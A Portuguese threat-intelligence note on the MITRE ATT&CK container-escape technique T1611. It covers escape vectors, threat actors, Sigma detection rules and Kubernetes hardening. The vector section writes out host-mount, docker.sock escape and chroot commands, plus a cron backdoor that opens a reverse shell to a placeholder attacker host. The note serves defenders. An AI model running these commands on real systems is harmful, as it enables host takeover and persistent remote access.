# T1611 - Escape to Host > [!danger] Técnica de Alta Criticidade > O escape de container para o host rompe o principal perímetro de isolamento em arquiteturas cloud-native e Kubernetes. Um adversário que completa esta técnica passa de escopo limitado para controle total da infraestrutura subjacente. ## Descrição Adversários podem escapar de um ambiente containerizado ou virtualizado para obter acesso ao sistema operacional hospedeiro subjacente. Ambientes baseados em containers - como [[docker|Docker]], [[kubernetes|Kubernetes]] e [[lxc|LXC]] - pressupõem que os processos rodando dentro de um container estão isolados do host e de outros containers. Esta técnica viola essa premissa fundamental. Ao escapar para o host, o adversário pode acessar outros containers em execução, volumes montados, credenciais de API, chaves de acesso à nuvem e todo o sistema de arquivos do host. Em ambientes Kubernetes, o impacto é amplificado: o acesso ao nó worker pode expor `kubelet` credentials, `etcd` data stores e comunicação entre pods. Esta técnica é catalogada pelo [[mitre-attack|MITRE ATT&CK]] como T1611 e afeta plataformas Linux, Windows Containers, ESXi/VMware e qualquer infraestrutura baseada em hypervisor com vetores de escape conhecidos. --- ## Como Funciona O escape de container pode ocorrer por múltiplos vetores técnicos, dependendo da configuração do ambiente e das vulnerabilidades presentes: ### Vetor 1 - Container Privilegiado (`--privileged`) Containers iniciados com a flag `--privileged` recebem acesso quase irrestrito aos recursos do kernel do host, incluindo todos os dispositivos em `/dev`. Um adversário com acesso a um container privilegiado pode montar o sistema de arquivos do host diretamente: ```bash # Dentro de container privilegiado mount /dev/sda1 /mnt/host chroot /mnt/host ``` ### Vetor 2 - Docker Socket Exposto (`docker.sock`) Quando o socket do Docker é montado dentro de um container (prática comum em pipelines CI/CD), o adversário pode se comúnicar diretamente com o daemon Docker do host via [[t1609-container-administration-command|T1609 - Container Administration Command]]: ```bash # Criar novo container com bind mount do host docker -H unix:///var/run/docker.sock run -it \ -v /:/host alpine chroot /host ``` ### Vetor 3 - Bind Mount do Sistema de Arquivos do Host Administradores que configuram containers com montagem do sistema de arquivos do host (ex.: `-v /:/host`) expõem o host completamente. O adversário pode gravar em cron jobs, chaves SSH ou binários do sistema: ```bash # Gravar cron job no host via bind mount echo "* * * * * root bash -i >& /dev/tcp/attacker/4444 0>&1" \ >> /host/etc/cron.d/backdoor ``` ### Vetor 4 - Exploração de Vulnerabilidades do Kernel Vulnerabilidades como **runc CVE-2019-5736** (Runc Overwrite), **CVE-2022-0185** (Kernel Heap Overflow via `fsconfig`), e **CVE-2021-30465** (runc symlink traversal) permitem que um adversário dentro de um container sobrescreva binários do host ou execute código com privilégios do kernel. ### Vetor 5 - Namespace Abuse (`unshare`, `keyctl`) Chamadas de sistema como `unshare` e `keyctl` podem ser abusadas para escapar de namespaces de container e roubar credenciais ou tokens armazenados no kernel keyring do host. ### Vetor 6 - Escape em Ambientes ESXi Em ambientes VMware ESXi, adversários exploram vulnerabilidades no hypervisor (ex.: **CVE-2021-21985**, **CVE-2021-22005**) para escapar de uma VM guest para o hypervisor host, obtendo controle de todas as VMs no servidor físico. --- ## Attack Flow ```mermaid graph TB A[Acesso Inicial ao Container] --> B{Vetor de Escape} B --> C1[Container Privilegiado<br/>docker run --privileged] B --> C2[Docker Socket Exposto<br/>/var/run/docker.sock] B --> C3[Bind Mount do Host<br/>-v /:/hostfs] B --> C4[Vulnerabilidade de Kernel<br/>CVE-2019-5736 / runc] B --> C5[Namespace Abuse<br/>unshare / keyctl] B --> C6[Hypervisor Escape<br/>ESXi CVE-2021-22005] C1 --> D[Montagem de /dev/sdX<br/>chroot para host FS] C2 --> D C3 --> D C4 --> E[Sobrescrita de binário<br/>ou módulo kernel malicioso] C5 --> F[Roubo de credenciais<br/>do kernel keyring] C6 --> G[Acesso ao Hypervisor<br/>Controle de todas as VMs] D --> H[Acesso ao Sistema de Arquivos do Host] E --> H F --> H H --> I1[Persistência<br/>Cron job / SSH key] H --> I2[Movimento Lateral<br/>Acesso a outros containers] H --> I3[Coleta de Credenciais<br/>Kubelet / etcd / cloud keys] H --> I4[Comando e Controle<br/>Reverse shell do host] style A fill:#cc3300,color:#fff style H fill:#ff6600,color:#fff style I1 fill:#990000,color:#fff style I2 fill:#990000,color:#fff style I3 fill:#990000,color:#fff style I4 fill:#990000,color:#fff ``` --- ## Exemplos de Uso ### TeamTNT - Cryptomining em Kubernetes O grupo [[g0139-teamtnt|TeamTNT]] é o ator de ameaça mais documentado no uso desta técnica em escala. Suas campanhas de cryptomining em nuvem rotineiramente buscam Docker sockets expostos e APIs Kubernetes não autenticadas para deployar containers que escapam para o host: 1. **Reconhecimento:** Scan massivo de IP por portas 2375/2376 (Docker API) e 6443/8443 (Kubernetes API) 2. **Acesso:** Conexão à API Docker ou Kubernetes sem autenticação 3. **Escape:** Deploy de container privilegiado com montagem do host FS 4. **Persistência:** Instalação de cron job no host para XMRig (Monero miner) 5. **Lateral:** Roubo de credenciais AWS/GCP do instance metadata service ### Doki - Malware Especializado em Escape O malware [[s0600-doki|Doki]] foi projetado específicamente para abusar de APIs Docker expostas. Após conectar ao socket Docker do host (geralmente via bind mount ou exposição de porta), ele cria um container com montagem do `/` do host para estabelecer persistência e minerar criptomoedas. ### Siloscape - Primeiro Malware de Windows Containers O [[s0623-siloscape|Siloscape]] foi o primeiro malware documentado a escapar específicamente de Windows Server Containers para o nó Kubernetes subjacente. Explorava vulnerabilidades em aplicações dentro do container (como servidores web ou bancos de dados) e usava symlinks globais do Windows para acessar o sistema de arquivos do host. ### Hildegard - TeamTNT em Kubernetes O [[s0601-hildegard|Hildegard]] é uma campanha do [[g0139-teamtnt|TeamTNT]] específica para clusters Kubernetes. Após comprometer um container via vulnerabilidade em aplicação web, usa a ferramenta [[s0683-peirates|Peirates]] - um framework especializado em pivoting em Kubernetes - para escalar privilégios, escapar para o host e comprometer o cluster inteiro. --- ## Detecção > [!tip] Estrategia de Detecção > A detecção eficaz de escape de container requer visibilidade em múltiplas camadas: syscall audit, logs do container runtime, e monitoramento de integridade do host. Ferramentas como Falco, Sysdig e eBPF-based agents são essenciais. ### Regra Sigma - Container Privilegiado e Docker Socket Abuse ```yaml title: Container Escape via Privileged Container or Docker Socket id: a1b2c3d4-e5f6-7890-abcd-ef1234567890 status: experimental description: > Detecta tentativas de escape de container via execução de containers privilegiados ou abuso do Docker socket montado dentro de container. Correlaciona com T1611 - Escape to Host. references: - https://attack.mitre.org/techniques/T1611/ - https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ author: RunkIntel daté: 2026-03-25 tags: - attack.privilege_escalation - attack.t1611 logsource: product: linux service: auditd detection: selection_privileged_mount: type: SYSCALL syscall: mount key: container_escape selection_docker_socket: type: PATH name|contains: 'docker.sock' nametype: NORMAL selection_chroot_in_container: type: EXECVE a0: chroot cwd|contains: - '/proc/1/root' - '/host' - '/mnt/host' condition: selection_privileged_mount or selection_docker_socket or selection_chroot_in_container falsepositives: - Administradores executando manutenção legítima de containers - Pipelines CI/CD com Docker-in-Docker level: high ``` ### Regra Sigma - Escrita em Cron do Host a partir de Container ```yaml title: Host Cron Modification from Container Context id: b2c3d4e5-f6a7-8901-bcde-f23456789012 status: experimental description: > Detecta escrita em diretórios de cron do host (/etc/cron*, /var/spool/cron) a partir de um contexto de container - indicativo de escape bem-sucedido e estabelecimento de persistência. references: - https://attack.mitre.org/techniques/T1611/ author: RunkIntel daté: 2026-03-25 tags: - attack.privilege_escalation - attack.persistence - attack.t1611 logsource: product: linux service: auditd detection: selection: type: PATH name|startswith: - '/etc/cron' - '/var/spool/cron' - '/etc/crontab' nametype: CREATE filter_legitimate: comm: - 'crontab' - 'dpkg' - 'apt' condition: selection and not filter_legitimate falsepositives: - Processos legítimos de sistema atualizando cron level: critical ``` ### Fontes de Dados Relevantes | Fonte | O que monitorar | |-------|-----------------| | Container Runtime Logs (Docker/containerd) | Criação de containers com `--privileged` ou `-v /:/` | | Linux Audit (auditd) | Syscalls `mount`, `unshare`, `keyctl`, `chroot` | | Kubernetes Audit Logs | Pods com `securityContext.privileged: true` | | File Integrity Monitoring | Modificações em `/etc/cron*`, `/root/.ssh/`, `/usr/bin/` | | Network Monitoring | Conexões de saída inesperadas do namespace do host após atividade de container | | Falco Rules | `container_escape_via_mount`, `launch_privileged_container` | --- ## Mitigação | ID | Mitigação | Implementação Prática | |----|-----------|----------------------| | [[m1048-application-isolation-and-sandboxing\|M1048 - Application Isolation and Sandboxing]] | Usar runtimes de container reforçados (gVisor, Kata Containers) que adicionam uma camada extra de isolamento entre o container e o kernel do host. | | [[m1051-update-software\|M1051 - Updaté Software]] | Manter runtimes de container (runc, containerd, Docker Engine) atualizados para mitigar vulnerabilidades de escape conhecidas como CVE-2019-5736 e CVE-2022-0185. | | [[m1038-execution-prevention\|M1038 - Execution Prevention]] | Implementar Seccomp profiles para bloquear syscalls perigosas (`unshare`, `mount` sem privilégio). Usar AppArmor/SELinux para confinamento adicional. | | [[m1026-privileged-account-management\|M1026 - Privileged Account Management]] | Nunca executar containers com `--privileged` em produção. Usar capabilities específicas e mínimas (`--cap-add` apenas o necessário). | | [[m1042-disable-or-remove-feature-or-program\|M1042 - Disable or Remove Feature or Program]] | Nunca montar `docker.sock` dentro de containers. Restringir acesso à API do Docker com TLS mútuo e autenticação. | ### Hardening Adicional Kubernetes ```yaml # PodSecurityPolicy (deprecated) / Pod Security Standards # Usar Restricted profile: apiVersion: v1 kind: Namespace metadata: labels: pod-security.kubernetes.io/enforce: restricted pod-security.kubernetes.io/enforce-version: latest ``` - Habilitar **PodSecurity admission controller** com política `restricted` - Usar **NetworkPolicies** para limitar comúnicação entre pods - Ativar **Audit logging** no API server do Kubernetes - Implementar **OPA Gatekeeper** ou **Kyverno** para policy enforcement --- ## Contexto Brasil/LATAM > [!warning] Relevância Regional > A adoção acelerada de Kubernetes e containers por empresas brasileiras - especialmente no setor financeiro e fintechs - aumenta significativamente a superfície de ataque para esta técnica. O Brasil figura entre os principais alvos de campanhas de cryptomining em nuvem na América Latina. O [[g0139-teamtnt|TeamTNT]] e grupos similares realizam varreduras contínuas por APIs Docker e Kubernetes expostas em ranges de IP brasileiros, aproveitando a crescente adoção de cloud computing por empresas nacionais. **Setores mais expostos no Brasil:** - **Fintechs e bancos digitais:** alta adoção de Kubernetes com times de segurança ainda em maturação - **E-commerce:** ambientes containerizados para escalabilidade, frequentemente com configurações permissivas - **Telecomúnicações:** infraestrutura NFV (Network Functions Virtualization) baseada em containers - **Governo:** migração para nuvem em curso, com lacunas em hardening de containers **Incidentes documentados na região:** - Campanhas TeamTNT afetando instâncias AWS Brasil (sa-east-1) com Docker APIs expostas na porta 2375 - Comprometimento de clusters Kubernetes de fintechs brasileiras via credenciais expostas em repositórios públicos no GitHub - Uso de containers escape para movimento lateral em ambientes de hosting compartilhado na LATAM **Recomendação prioritária para equipes brasileiras:** Auditar imediatamente qualquer workload Kubernetes por pods com `securityContext.privileged: true` e verificar exposição de Docker socket. Ferramentas como `kube-bench` e `trivy` podem automatizar esta varredura. --- ## Referências - [MITRE ATT&CK - T1611 Escape to Host](https://attack.mitre.org/techniques/T1611/) - [Unit 42 - Hildegard: New TeamTNT Cryptojacking Malware](https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/) - [Palo Alto Networks - Siloscape: First Known Malware Targeting Windows Containers](https://unit42.paloaltonetworks.com/siloscape/) - [Intezer - Doki: Targeting Docker Servers in the Cloud](https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/) - [NCC Group - Understanding and Preventing Container Escapes](https://research.nccgroup.com/2022/01/13/10-real-world-stories-of-how-weve-used-binary-exploitation-to-escape-containers/) - [CVE-2019-5736 - runc container escape](https://nvd.nist.gov/vuln/detail/CVE-2019-5736) - [Falco Rules - Container Escape Detection](https://falco.org/docs/rules/) ### Notas Relacionadas - [[g0139-teamtnt|TeamTNT]] - principal ator usando esta técnica - [[s0600-doki|Doki]] - malware especializado em Docker escape - [[s0623-siloscape|Siloscape]] - primeiro malware de Windows Containers - [[s0601-hildegard|Hildegard]] - campanha TeamTNT em Kubernetes - [[s0683-peirates|Peirates]] - ferramenta de pentesting/pivoting em Kubernetes - [[t1609-container-administration-command|T1609 - Container Administration Command]] - [[t1068-exploitation-privilege-escalation|T1068 - Exploitation for Privilege Escalation]] - [[t1055-process-injection|T1055 - Process Injection]] - [[m1048-application-isolation-and-sandboxing|M1048 - Application Isolation and Sandboxing]] --- *Fonte: [MITRE ATT&CK - T1611](https://attack.mitre.org/techniques/T1611)*